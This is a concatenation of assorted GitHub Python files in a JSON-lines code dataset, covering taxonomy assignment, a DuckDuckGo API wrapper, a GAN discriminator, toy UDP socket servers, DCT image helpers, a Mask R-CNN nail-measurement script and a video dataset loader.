det_droplets]\n\n det_json[LM_NAMES[k]] = {'gt': gt_droplets_json,\n 'det': det_droplets_json}\n\nwith open('scripts/det_output.json', 'w') as f:\n json.dump(det_json, f, indent=4)\n# pprint(det_json)\n\n\n","repo_name":"abecedoid/FJ_IPI","sub_path":"scripts/showcase_detection.py","file_name":"showcase_detection.py","file_ext":"py","file_size_in_byte":3345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"12449359610","text":"from __future__ import division\n\nfrom brocclib.taxonomy import Lineage, NoLineage\n\n'''\nCreated on Aug 29, 2011\n@author: Serena, Kyle\n'''\n\nclass AssignmentCandidate(object):\n def __init__(self, lineage, rank):\n self.votes = 0\n self.lineage = lineage\n self.rank = rank\n\n is_high_rank = rank in [\"phylum\", \"kingdom\", \"domain\"]\n is_descended_from_missing_taxon = any(\"(\" in h for h in self.all_taxa)\n if is_high_rank and not is_descended_from_missing_taxon:\n self.legit = True\n else:\n self.legit = lineage.classified\n\n @property\n def all_taxa(self):\n return self.lineage.get_all_taxa(self.rank)\n\n @property\n def standard_taxa(self):\n return self.lineage.get_standard_taxa(self.rank)\n\n\nclass Assignment(object):\n def __init__(self, query_id, winning_candidate, total_votes, num_generic):\n self.query_id = query_id\n self.winning_candidate = winning_candidate\n self.total_votes = total_votes\n self.num_generic = num_generic\n\n def format_for_full_taxonomy(self):\n lineage = ';'.join(self.winning_candidate.all_taxa)\n return \"%s\\t%s\\n\" % (self.query_id, lineage)\n\n def format_for_standard_taxonomy(self):\n lineage = ';'.join(self.winning_candidate.standard_taxa)\n return \"%s\\t%s\\n\" % (self.query_id, lineage)\n\n def format_for_log(self):\n lineage = ';'.join(self.winning_candidate.all_taxa)\n return \"%s\\t%s\\t%s\\t%s\\t%s\\t%s\\n\" % (\n self.query_id, self.winning_candidate.votes, self.total_votes,\n self.num_generic, self.winning_candidate.rank, lineage)\n\n\nclass NoAssignment(object):\n \"\"\"Null object representing no assignment, with message.\"\"\"\n def __init__(self, query_id, message):\n self.query_id = query_id\n self.message = message\n\n def format_for_full_taxonomy(self):\n return \"%s\\t%s\\n\" % (self.query_id, self.message)\n\n format_for_standard_taxonomy = format_for_full_taxonomy\n format_for_log = format_for_full_taxonomy\n\n\nclass Assigner(object):\n ranks = [\n \"species\", \"genus\", \"family\", \"order\",\n \"class\", \"phylum\", \"kingdom\", \"domain\",\n ]\n\n def __init__(self, min_cover, species_min_id, genus_min_id, min_id,\n consensus_thresholds, max_generic, taxa_db):\n self.min_cover = min_cover\n self.rank_min_ids = [\n species_min_id, genus_min_id, min_id, min_id,\n min_id, min_id, min_id, min_id,\n ]\n self.min_id = min_id\n self.consensus_thresholds = consensus_thresholds\n self.max_generic = max_generic\n self.taxa_db = taxa_db\n\n def _quality_filter(self, seq, hits):\n hits_to_keep = []\n num_low_coverage = 0\n for hit in hits:\n identity_is_ok = (hit.pct_id >= self.min_id)\n coverage_is_ok = (hit.coverage(seq) >= self.min_cover)\n\n if identity_is_ok and coverage_is_ok:\n hits_to_keep.append(hit)\n\n elif identity_is_ok and not coverage_is_ok:\n num_low_coverage += 1\n\n frac_low_coverage = num_low_coverage / len(hits)\n return hits_to_keep, frac_low_coverage\n\n def assign(self, name, seq, hits):\n if not hits:\n return NoAssignment(name, \"No hits found in database\")\n hits_to_keep, frac_low_coverage = self._quality_filter(seq, hits)\n if frac_low_coverage > .9:\n return NoAssignment(name, \"Abundance of low coverage hits: possible chimera\")\n if not hits_to_keep:\n return NoAssignment(name, \"All BLAST hits were filtered for low quality.\")\n return self.vote(name, seq, hits_to_keep)\n\n def _retrieve_lineage(self, hit):\n taxid = self.taxa_db.get_taxon_id(hit.gi)\n if taxid is None:\n return NoLineage()\n raw_lineage = self.taxa_db.get_lineage(taxid)\n if raw_lineage is None:\n return NoLineage()\n return Lineage(raw_lineage)\n\n def vote(self, name, seq, hits):\n # Sort hits by percent ID. This affects the way that ties are broken.\n hits.sort(reverse=True, key=lambda x: x.pct_id)\n hits_lineage = [(hit, self._retrieve_lineage(hit)) for hit in hits]\n for rank in self.ranks:\n a = self.vote_at_rank(name, rank, hits_lineage)\n if a is not None:\n return a\n return NoAssignment(\n name, \"Could not find consensus at domain level. No classification.\")\n\n def vote_at_rank(self, query_id, rank, db_hits):\n '''Votes at a given rank of the taxonomy.'''\n rank_idx = self.ranks.index(rank)\n min_pct_id = self.rank_min_ids[rank_idx]\n consensus_threshold = self.consensus_thresholds[rank_idx]\n\n # Cast votes and count generic taxa\n candidates = dict()\n num_generic = 0\n for hit, lineage in db_hits:\n if hit.pct_id <= min_pct_id:\n continue\n taxon = lineage.get_taxon(rank)\n if taxon is None:\n continue\n if taxon not in candidates:\n candidates[taxon] = AssignmentCandidate(lineage, rank)\n candidates[taxon].votes += 1\n\n if lineage.classified is False:\n num_generic += 1\n\n if len(candidates) == 0:\n return None\n\n total_votes = sum(c.votes for c in candidates.values())\n\n # Do not count the votes for generic candidates in the total,\n # when the proportion of generic votes is allowable. There\n # are some issues here with generic taxa, though the software\n # normally does the right thing.\n if (num_generic / total_votes) < self.max_generic:\n total_votes = total_votes - num_generic\n\n sorted_candidates = candidates.values()\n sorted_candidates.sort(reverse=True, key=lambda c: c.votes)\n winning_candidate = sorted_candidates.pop(0)\n\n # If the winner is a bad classification, consider the runner up.\n if not winning_candidate.legit:\n if not sorted_candidates:\n return None\n winning_candidate = sorted_candidates.pop(0)\n # If the runner up is also a bad classification, give up.\n if not winning_candidate.legit:\n return None\n\n if (winning_candidate.votes / total_votes) > consensus_threshold:\n return Assignment(query_id, winning_candidate, total_votes, num_generic)\n else:\n return None\n","repo_name":"eclarke/brocc","sub_path":"brocclib/assign.py","file_name":"assign.py","file_ext":"py","file_size_in_byte":6531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"70"} +{"seq_id":"35476424041","text":"#3. 求交集\n#给定两两个 list a, b, 求得两两个 list 之间的交集元素 list。\n#注意回传的 list 之值必须是递增排序,⽽而且每个元素 只能出现⼀一次。\n\ndef inter(a,b):\n retA = []\n for i in a:\n if i in b:\n retA.append(i)\n newls = list(set(retA))\n# print(newls)\n finalls = sorted(newls)\n #排序\n return finalls\n\na = [1, 2, 3, 4, 5, 5, 8]\nb = [1,5,8,4]\nprint(inter(a,b))\n","repo_name":"cwchang93/test0814","sub_path":"q3.py","file_name":"q3.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"38725486588","text":"# Original attribution here - http://pypi.python.org/pypi/duckduckgo2/0.2\n\nimport urllib\nfrom urllib.request import urlopen\nfrom urllib.parse import urlencode\nimport json as j\nimport sys\n\n__version__ = 0.2\n\n\ndef query(\n query,\n useragent=\"python-duckduckgo \" + str(__version__),\n safesearch=True,\n html=False,\n **kwargs\n):\n \"\"\"\n Query DuckDuckGo, returning a Results object.\n\n Here's a query that's unlikely to change:\n\n >>> result = query('1 + 1')\n >>> result.type\n 'nothing'\n >>> result.answer.text\n '1 + 1 = 2'\n >>> result.answer.type\n 'calc'\n\n Keword arguments:\n useragent: UserAgent to use while querying. Default: \"python-duckduckgo %d\" (str)\n safesearch: True for on, False for off. Default: True (bool)\n html: True to allow HTML in output. Default: False (bool)\n Any other keyword arguments are passed directly to DuckDuckGo as URL params.\n \"\"\" % __version__\n\n safesearch = \"1\" if safesearch else \"-1\"\n html = \"0\" if html else \"1\"\n params = {\n \"q\": query,\n \"o\": \"json\",\n \"kp\": safesearch,\n \"no_redirect\": \"1\",\n \"no_html\": html,\n }\n params.update(kwargs)\n encparams = urlencode(params)\n url = \"http://duckduckgo.com/?\" + encparams\n\n request = urllib.request.Request(url, headers={\"User-Agent\": useragent})\n response = urlopen(request)\n encoding = response.headers.get_content_charset()\n response_body = response.readall().decode(encoding)\n json = j.loads(response_body)\n response.close()\n\n return Results(json)\n\n\nclass Results(object):\n def __init__(self, json):\n self.type = {\n \"A\": \"answer\",\n \"D\": \"disambiguation\",\n \"C\": \"category\",\n \"N\": \"name\",\n \"E\": \"exclusive\",\n \"\": \"nothing\",\n }[json.get(\"Type\", \"\")]\n\n self.json = json\n self.api_version = None # compat\n\n self.heading = json.get(\"Heading\", \"\")\n\n self.results = [Result(elem) for elem in json.get(\"Results\", [])]\n self.related = [Result(elem) for elem in json.get(\"RelatedTopics\", [])]\n\n self.abstract = Abstract(json)\n self.redirect = Redirect(json)\n self.definition = Definition(json)\n self.answer = Answer(json)\n\n self.image = Image({\"Result\": json.get(\"Image\", \"\")})\n\n\nclass Abstract(object):\n def __init__(self, json):\n self.html = json.get(\"Abstract\", \"\")\n self.text = json.get(\"AbstractText\", \"\")\n self.url = json.get(\"AbstractURL\", \"\")\n self.source = json.get(\"AbstractSource\")\n\n\nclass Redirect(object):\n def __init__(self, json):\n self.url = json.get(\"Redirect\", \"\")\n\n\nclass Result(object):\n def __init__(self, json):\n self.topics = json.get(\"Topics\", [])\n if self.topics:\n self.topics = [Result(t) for t in self.topics]\n return\n self.html = json.get(\"Result\")\n self.text = json.get(\"Text\")\n self.url = json.get(\"FirstURL\")\n\n icon_json = json.get(\"Icon\")\n if icon_json is not None:\n self.icon = Image(icon_json)\n else:\n self.icon = None\n\n\nclass Image(object):\n def __init__(self, json):\n self.url = json.get(\"Result\")\n self.height = json.get(\"Height\", None)\n self.width = json.get(\"Width\", None)\n\n\nclass Answer(object):\n def __init__(self, json):\n self.text = json.get(\"Answer\")\n self.type = json.get(\"AnswerType\", \"\")\n\n\nclass Definition(object):\n def __init__(self, json):\n self.text = json.get(\"Definition\", \"\")\n self.url = json.get(\"DefinitionURL\")\n self.source = json.get(\"DefinitionSource\")\n\n\ndef main():\n if len(sys.argv) > 1:\n q = query(\" \".join(sys.argv[1:]))\n keys = q.json.keys()\n keys.sort()\n for key in keys:\n sys.stdout.write(key)\n if type(q.json[key]) in [str, unicode]:\n print(\":\", q.json[key])\n else:\n sys.stdout.write(\"\\n\")\n for i in q.json[key]:\n print(\"\\t\", i)\n else:\n print(\"Usage: %s [query]\" % sys.argv[0])\n","repo_name":"MikePia/github_actions","sub_path":"src/duckduckgo.py","file_name":"duckduckgo.py","file_ext":"py","file_size_in_byte":4145,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"10577041448","text":"import torch.nn as nn\n\n\ndef discriminator_block(in_filters, out_filters, stride, normalize):\n \"\"\"Returns layers of each discriminator block\"\"\"\n layers = [nn.Conv2d(in_filters, out_filters, 3, stride, 1)]\n if normalize:\n layers.append(nn.InstanceNorm2d(out_filters))\n layers.append(nn.LeakyReLU(0.2, inplace=True))\n return layers\n\n\nclass Discriminator(nn.Module):\n def __init__(self, in_channels=3, requires_grad=True):\n super(Discriminator, self).__init__()\n layers = []\n\n layers.extend(discriminator_block(in_channels, 128, 2, False))\n layers.extend(discriminator_block(128, 512, 2, True))\n\n layers.append(nn.Conv2d(512, 1, 3, 1, 1))\n\n layers.append(nn.MaxPool2d(kernel_size=4, stride=4))\n\n self.model = nn.Sequential(*layers)\n\n if not requires_grad:\n for param in self.parameters():\n param.requires_grad = False\n\n def forward(self, img):\n return self.model(img)\n","repo_name":"binpat/Deep_NN_Watermarking","sub_path":"models/discriminator.py","file_name":"discriminator.py","file_ext":"py","file_size_in_byte":981,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"36405455737","text":"import socket\r\ndns ={'google':'172.13.31.89','gmail':'154.32.176.11','w3school':'143.76.142.21'}\r\ns = socket.socket()\r\nhost = socket.gethostname()\r\nport = 4456\r\ns.bind((host,port))\r\ns.listen(5)\r\nprint('Server is listening')\r\nconn, addr = s.accept()\r\nprint('connection accepted', addr)\r\nwhile True:\r\n data = conn.recv(1024)\r\n if data.decode() == 'bye' or not data:\r\n break\r\n\r\n print(\"domain name :\"+data.decode())\r\n ip =\"\"\r\n if data.decode() in dns.keys():\r\n ip=dns.get(data.decode())\r\n else:\r\n ip=\"null\"\r\n #for key,values in dns.items():\r\n # if(data.decode() == key):\r\n # ip= values\r\n # print(ip)\r\n #data =input('Server :')\r\n conn.sendall(ip.encode())\r\nconn.close()\r\n\r\n\r\n","repo_name":"santhanalakshmi21/APP","sub_path":"DNSServer.py","file_name":"DNSServer.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"43663196782","text":"from selenium import webdriver\nimport time\nimport sys\nfrom bs4 import BeautifulSoup\n\ndef create(session):\n # Opens Chrome browser in incognito mode \n options = webdriver.ChromeOptions()\n options.add_argument('--ignore-certificate-errors')\n options.add_argument('--incognito')\n options.add_argument('--headless')\n driver = webdriver.Chrome(\"/usr/lib/chromium-browser/chromedriver\", chrome_options=options)\n url = 'https://www.ulta.com/all-nighter-ultra-glow-makeup-setting-spray?productId=pimprod2017480'\n driver.get(url)\n\n # Opens the ingredients list \n ingr_buttons = driver.find_elements_by_class_name(\"ProductDetail_ingredients\")\n driver.execute_script('arguments[0].click();', ingr_buttons)\n time.sleep(1)\n\n page_source = driver.page_source\n\n\n\n\ndef scrape_url(url, session, products):\n page = session.get(url)\n soup = BeautifulSoup(page.content, features = 'lxml')\n\n\n\n\n","repo_name":"nsophia/Beauty-Filter","sub_path":"beauty_filter_api.py","file_name":"beauty_filter_api.py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"16016022471","text":"while True:\n nome = input(\"Digite o seu nome!\")\n if len(nome) <3:\n print(\"Seu nome deve ter pelo menos 3 caracteres.\")\n else: \n break\nwhile True:\n\n idade = int(input(\"Digite a sua idade!\"))\n if idade<0 and idade>150:\n print(\"Idade inválida!\")\n else:\n break\n\nwhile True:\n salario = float(input(\"Digite o valor do seu salário!\"))\n if salario<0:\n print(\"Salário deve ser maior que 0:\")\n\n else:\n break\n \nwhile True:\n sexo = input(\"Sexo: f ou m?\")\n if(sexo.lower() != \"f\" and sexo.lower() != \"m\"):\n print(\"Sexo inválido!\")\n else:\n break\n\nwhile True:\n\n est_civil = input(\"Estado Civíl: s- solteio(a), c-casado(a), v-viúvo(a), d-divorciado(a)\")\n\n if(est_civil.lower() != \"s\" and est_civil.lower() != \"c\" and est_civil.lower() != \"v\" and est_civil.lower() != \"d\"):\n print(\"Estado civíl inválido!\")\n else:\n break\n \nprint(\"Nome:\", nome)\nprint(\"Idade:\", idade)\nif (sexo == \"m\"):\n print(\"Sexo Masculino\")\nelse:\n print(\"Sexo Feminino\")\nif (est_civil == \"s\"):\n print(\"Estado Civil: Solteiro\")\nelif(est_civil == \"c\"):\n print(\"Estado Civil: Casado\")\nelif(est_civil == \"v\"):\n print(\"Estado Civil: Viúvo\")\nelse:\n print(\"Estado Civil: Divorciado.\")\n ","repo_name":"joaquimrsn/Exercios-python","sub_path":"Estruturas de repetição/cadastro.py","file_name":"cadastro.py","file_ext":"py","file_size_in_byte":1290,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"19788693674","text":"from collections.abc import AsyncGenerator\nfrom contextlib import asynccontextmanager\nfrom typing import Optional\n\nfrom fastapi import FastAPI\nfrom ghga_service_commons.utils.context import asyncnullcontext\nfrom hexkit.providers.akafka import KafkaEventPublisher, KafkaEventSubscriber\n\nfrom pci.adapters.inbound.event_sub import EventSubTranslator\nfrom pci.adapters.inbound.fastapi_ import dummies\nfrom pci.adapters.inbound.fastapi_.configure import get_configured_app\nfrom pci.adapters.outbound.event_pub import EventPubTranslator\nfrom pci.config import Config\nfrom pci.core.data_repository import DataRepository\nfrom pci.ports.inbound.data_repository import DataRepositoryPort\n\n\n@asynccontextmanager\nasync def prepare_core(*, config: Config) -> AsyncGenerator[DataRepositoryPort, None]:\n \"\"\"Constructs and initializes all core components and their outbound dependencies.\"\"\"\n async with KafkaEventPublisher.construct(config=config) as kafka_event_publisher:\n event_publisher = EventPubTranslator(\n config=config, provider=kafka_event_publisher\n )\n data_repository = DataRepository(config=config, event_publisher=event_publisher)\n\n yield data_repository\n\n\ndef prepare_core_with_override(\n *,\n config: Config,\n core_override: Optional[DataRepositoryPort] = None,\n):\n \"\"\"Resolve the prepare_core context manager based on config and override (if any).\"\"\"\n return (\n asyncnullcontext(core_override)\n if core_override\n else prepare_core(config=config)\n )\n\n\n@asynccontextmanager\nasync def prepare_rest_app(\n *,\n config: Config,\n data_respository_override: Optional[DataRepositoryPort] = None,\n) -> AsyncGenerator[FastAPI, None]:\n \"\"\"Construct and initialize an REST API app along with all its dependencies.\n By default, the core dependencies are automatically prepared but you can also\n provide them using the override parameter.\n \"\"\"\n app = get_configured_app(config=config)\n\n async with prepare_core_with_override(\n config=config, core_override=data_respository_override\n ) as data_repository:\n app.dependency_overrides[dummies.data_repository_port] = lambda: data_repository\n yield app\n\n\n@asynccontextmanager\nasync def prepare_event_subscriber(\n *, config: Config, core_override: Optional[DataRepositoryPort] = None\n):\n \"\"\"Construct and initialize an event subscriber with all its dependencies.\n By default, the core dependencies are automatically prepared but you can also\n provide them using the core_override parameter.\n \"\"\"\n async with prepare_core_with_override(\n config=config, core_override=core_override\n ) as data_repository:\n event_sub_translator = EventSubTranslator(\n data_repository=data_repository, config=config\n )\n async with KafkaEventSubscriber.construct(\n config=config, translator=event_sub_translator\n ) as kafka_event_subscriber:\n yield kafka_event_subscriber\n","repo_name":"ghga-de/prototype-correlation-id","sub_path":"src/pci/inject.py","file_name":"inject.py","file_ext":"py","file_size_in_byte":3003,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"27767892790","text":"import socket\r\n\r\n\r\ndef main():\r\n # 创建UDP套接字\r\n udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\r\n\r\n # 用套接字收发数据\r\n # 1指定IP 和端口\r\n dest_addr = ('10.1.0.102', '')\r\n # 指定发生内容\r\n send_data = 'nihao'\r\n # 用 sendto方法发送(发什么,发给谁)\r\n udp_socket.sendto(send_data.encode('utf-8'), dest_addr)\r\n\r\n # 关闭套接字\r\n udp_socket.close()\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n print('hello')\r\n","repo_name":"YL-python/yl_python_code","sub_path":"python_code/网络编程/day01.py","file_name":"day01.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"39220516608","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Mar 4 21:39:22 2020\n\n@author: sofiaarend\n\"\"\"\n\nfrom Model.Conexao import Conexao \nclass Classificacao(object):\n \n #def __init__(self, id, descricao):\n # self._id = id\n # self._descricao = descricao\n \n def getAll(self):\n con = Conexao()\n classificacoes = con.consultar(\"select * from classificacao\")\n con.fechar\n return classificacoes\n \n def getById(self, id):\n con = Conexao()\n classificacao = con.consultar(\"select * from classificacao where id = \" + str(id))\n con.fechar\n return classificacao\n \n def getDescricaoById(id):\n con = Conexao()\n descricao = con.consultar(\"select descricao from classificacao where id = \" + str(id))\n con.fechar\n return descricao","repo_name":"sofiaarend/movie-tickets-python","sub_path":"Model/Classificacao.py","file_name":"Classificacao.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"11588591819","text":"from helpers.exceptions import DCTDimensionException\nfrom helpers.array_slicer import *\nfrom file_io.bmpimage import BMPImage\nimport math\n\n\ncoeff_array = [[1.0, 0.980785, 0.92388, 0.83147, 0.707107, 0.55557, 0.382683, 0.19509],\n [1.0, 0.83147, 0.382683, -0.19509, -0.707107, -0.980785, -0.92388, -0.55557],\n [1.0, 0.55557, -0.382683, -0.980785, -0.707107, 0.19509, 0.92388, 0.83147],\n [1.0, 0.19509, -0.92388, -0.55557, 0.707107, 0.83147, -0.382683, -0.980785],\n [1.0, -0.19509, -0.92388, 0.55557, 0.707107, -0.83147, -0.382683, 0.980785],\n [1.0, -0.55557, -0.382683, 0.980785, -0.707107, -0.19509, 0.92388, -0.83147],\n [1.0, -0.83147, 0.382683, 0.19509, -0.707107, 0.980785, -0.92388, 0.55557],\n [1.0, -0.980785, 0.92388, -0.83147, 0.707107, -0.55557, 0.382683, -0.19509]]\n\n\ndef DCT(img):\n if (img.width % 8 != 0) | (img.height % 8 != 0):\n raise DCTDimensionException\n return 0\n\n channels = [slice_into_subarrays(channel) for channel in img.decompose_to_channels()]\n\n for channel in channels:\n for y_arr in range(len(channel)):\n for x_arr in range(len(channel[0])):\n subarray = channel[y_arr][x_arr]\n subarray_dct = forward_transform_block(subarray)\n channel[y_arr][x_arr] = subarray_dct\n\n return channels\n\n\ndef IDCT(channels, img):\n restored_img = BMPImage(img.export())\n for channel in channels:\n for y_arr in range(len(channel)):\n for x_arr in range(len(channel[0])):\n subarray = channel[y_arr][x_arr]\n subarray_res = inverse_transform_block(subarray)\n channel[y_arr][x_arr] = subarray_res\n merged_channels = [merge_from_subarrays(channel) for channel in channels]\n restored_img.compose_from_channels(merged_channels)\n\n return restored_img\n\n\ndef visualDCT(channels, img):\n vis_img = BMPImage(img.export())\n for channel in channels:\n maxv = float('-inf')\n minv = float('inf')\n for y in range(img.height):\n for x in range(img.width):\n if channel[y][x] > maxv:\n maxv = channel[y][x]\n if channel[y][x] < minv:\n minv = channel[y][x]\n for y in range(img.height):\n for x in range(img.width):\n pix = math.floor(((channel[y][x]-minv)/(maxv-minv))*255)\n if pix > 255:\n pix = 255\n if pix < 0:\n pix = 0\n channel[y][x]=pix\n\n vis_img.compose_from_channels(channels)\n return vis_img\n\n\ndef A(k):\n if k == 0:\n return math.sqrt(0.5)\n else:\n return 1\n\n\ndef forward_transform_block(block):\n dct_block = [[0 for x in range(8)] for y in range(8)]\n for v in range(8):\n for u in range(8):\n row = []\n for x in range(8):\n col = []\n for y in range(8):\n col.append(block[y][x]*coeff_array[x][u]*coeff_array[y][v])\n row.append(sum(col))\n dct_block[v][u] = (1/4)*A(v)*A(u)*sum(row)\n return dct_block\n\n\ndef inverse_transform_block(dct_block):\n block = [[0 for x in range(8)] for y in range(8)]\n for y in range(8):\n for x in range(8):\n row = []\n for u in range(8):\n col = []\n for v in range(8):\n col.append(A(u)*A(v)*dct_block[v][u]*coeff_array[x][u]*coeff_array[y][v])\n row.append(sum(col))\n pix = sum(row)/4\n block[y][x] = round(pix)\n return block\n\n\n\n\n","repo_name":"snakkez/stego_kurs_mtuci","sub_path":"helpers/dct.py","file_name":"dct.py","file_ext":"py","file_size_in_byte":3704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"5356978092","text":"import os\nimport sys\nimport cv2\nimport argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--image_name', type=str, default='test_image1.jpg', help='name of image')\nparser.add_argument('--save_images', type=str, default=False, help='whether or not to save images (default False)')\nopt = parser.parse_args()\n\nROOT_DIR = os.path.abspath(\"Mask_RCNN-master\")\n\nsys.path.append(ROOT_DIR)\nimport mrcnn.model as modellib\nfrom mrcnn.config import Config\nfrom image import *\n\nMODEL_DIR = os.path.join(ROOT_DIR, \"logs\")\n\nNAILS_MODEL_PATH = os.path.join(ROOT_DIR, \"mask_rcnn_nails_v1.h5\")\n\nIMAGE_DIR = os.path.join(ROOT_DIR, \"../nail_images\")\n\nclass NailsConfig(Config):\n \"\"\"\n Derives from the base Config class and overrides some values.\n \"\"\"\n\n NAME = \"nails\"\n\n IMAGES_PER_GPU = 2\n\n # Number of classes (including background)\n NUM_CLASSES = 1 + 2 # Background + nails + card\n\n # Skip detections with < 90% confidence\n DETECTION_MIN_CONFIDENCE = 0.8\n\nconfig = NailsConfig()\n\n\nclass InferenceConfig(config.__class__):\n # Set batch size to 1 since we'll be running inference on\n # one image at a time. Batch size = GPU_COUNT * IMAGES_PER_GPU\n GPU_COUNT = 1\n IMAGES_PER_GPU = 1\n NUM_CLASSES = 1 + 2\n DETECTION_MIN_CONFIDENCE = 0.8\n\n\nconfig = InferenceConfig()\nconfig.display()\n\ndef area_from_mask(mask):\n area_pixels_squared = np.sum(mask)\n area_mm_squared = area_pixels_squared/(image.pixels_per_mm**2)\n return area_mm_squared\n\n# Create model object in inference mode.\nmodel = modellib.MaskRCNN(mode=\"inference\", model_dir=MODEL_DIR, config=config)\n\n# Load weights trained on MS-NAILS\nmodel.load_weights(NAILS_MODEL_PATH, by_name=True)\n\nclass_names = ['BG', 'nail', 'card']\n\nimage = cv2.imread(os.path.join(IMAGE_DIR, opt.image_name))\n\nresults = model.detect([image], verbose=1)\n\nr = results[0]\n\nn_regions = len(r['rois'][:, 0])\nif (n_regions == 2):\n region1_H_begin, region1_W_begin, region1_H_end, region1_W_end = r['rois'][0]\n region2_H_begin, region2_W_begin, region2_H_end, region2_W_end = r['rois'][1]\n widths = [region1_W_begin, region2_W_begin]\n sort_indices = np.argsort(widths)\n finger1_index = sort_indices[1]\nelif (n_regions == 5):\n region1_H_begin, region1_W_begin, region1_H_end, region1_W_end = r['rois'][0]\n region2_H_begin, region2_W_begin, region2_H_end, region2_W_end = r['rois'][1]\n region3_H_begin, region3_W_begin, region3_H_end, region3_W_end = r['rois'][2]\n region4_H_begin, region4_W_begin, region4_H_end, region4_W_end = r['rois'][3]\n region5_H_begin, region5_W_begin, region5_H_end, region5_W_end = r['rois'][4]\n widths = [region1_W_begin, region2_W_begin, region3_W_begin, region4_W_begin, region5_W_begin]\n sort_indices = np.argsort(widths)\n finger1_index = sort_indices[1]\n finger2_index = sort_indices[2]\n finger3_index = sort_indices[3]\n finger4_index = sort_indices[4]\nelse:\n raise Exception(\"Wrong number of regions ({}) detected!\".format(len(r['rois'][:, 0])))\n\n\nprint(\"...masked predicted...\")\nprint(\"Determining scale...\")\n\nimage = IMAGE(path_to_image=IMAGE_DIR, name_of_image=opt.image_name, save_images=opt.save_images, card_width_mm=85.60)\nline_distance_pixels = image.point_of_scale()\n\nprint(\"{} pixels per mm in the image\".format(image.pixels_per_mm))\n\nsegmented_image = 255*np.ones(image.image.shape[:2])\nif (n_regions == 2):\n area1 = area_from_mask(r['masks'][:,:,finger1_index])\n segmented_image[r['masks'][:, :, finger1_index]] = 0\nelif (n_regions == 5):\n area1 = area_from_mask(r['masks'][:, :, finger1_index])\n area2 = area_from_mask(r['masks'][:, :, finger2_index])\n area3 = area_from_mask(r['masks'][:, :, finger3_index])\n area4 = area_from_mask(r['masks'][:, :, finger4_index])\n segmented_image[r['masks'][:, :, finger1_index]] = 0\n segmented_image[r['masks'][:, :, finger2_index]] = 0\n segmented_image[r['masks'][:, :, finger3_index]] = 0\n segmented_image[r['masks'][:, :, finger4_index]] = 0\nelse:\n raise Exception(\"Wrong number of regions ({}) detected!\".format(len(r['rois'][:, 0])))\n\ncv2.imwrite('segmented_{}'.format(opt.image_name), segmented_image)\n\n\nprint(\"Area of finger1: {}\".format(area1))\nif (n_regions == 5):\n print(\"Area of finger2: {}\".format(area2))\n print(\"Area of finger3: {}\".format(area3))\n print(\"Area of finger4: {}\".format(area4))\n","repo_name":"jtk1919/glaize","sub_path":"nails/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"36530976521","text":"from torch.utils.data import Dataset, DataLoader\n\nimport torch\nimport glob\nimport os\nimport pickle\n\nDETECTION_EMBEDDING_SIZE = 2048\nBOUNDING_BOX_SIZE = 4\nNUM_FRAMES_PER_STEP = 5\n\ndef depickle_data(pickles_dir, fname):\n pickle_path = os.path.join(pickles_dir, fname + '.pickle')\n pickle_in = open(pickle_path, 'rb')\n data = pickle.load(pickle_in)\n return data\n\ndef remove_unused2(steps_list):\n steps_list_rm = []\n for b in range(len(steps_list)):\n step_rm = \" \".join([s for s in steps_list[b].split(' ') if s != '[unused2]'])\n steps_list_rm.append(step_rm)\n \n return steps_list_rm\n\ndef remove_unused3(steps_list):\n steps_list_rm = []\n for b in range(len(steps_list)):\n step_rm = \" \".join([s for s in steps_list[b].split(' ') if s != '[unused3]'])\n steps_list_rm.append(step_rm)\n \n return steps_list_rm\n \nclass YouCookII(Dataset):\n def __init__(self, num_actions, root, size=None):\n self.root = root\n self.path = '{}/{}'.format(root, num_actions)\n \n if size is not None:\n self.size = size\n else:\n self.size = len([directory for directory in os.listdir(self.path)])\n \n def __len__(self):\n return self.size\n \n def __getitem__(self, idx):\n pickles_root = '{}/{}/pickles'.format(self.path, str(idx).zfill(5))\n \n video_id = depickle_data(pickles_root, 'vid_id')\n actions = depickle_data(pickles_root, 'actions_list')\n \n try:\n candidates = depickle_data(pickles_root, 'candidates')\n\n bboxes = torch.stack(list(zip(*candidates))[0]).squeeze(1).reshape(-1, BOUNDING_BOX_SIZE)\n features = torch.stack(list(zip(*candidates))[1]).squeeze(1).reshape(-1, DETECTION_EMBEDDING_SIZE)\n except:\n bboxes = depickle_data(pickles_root, 'bboxes')\n features = depickle_data(pickles_root, 'features')\n \n steps = depickle_data(pickles_root, 'steps')\n entities = depickle_data(pickles_root, 'entities')\n entity_count = depickle_data(pickles_root, 'entity_count')\n \n max_step_length = depickle_data(pickles_root, 'max_step_length')\n \n # Remove [unused2] and [unused3] tokens from steps.\n steps = remove_unused2([steps])[0]\n steps = remove_unused3([steps])[0]\n \n return video_id, bboxes, features, actions, steps, entities, entity_count, max_step_length\n \nclass YouCookIICollate():\n def __init__(self, MAX_DETECTIONS=20):\n 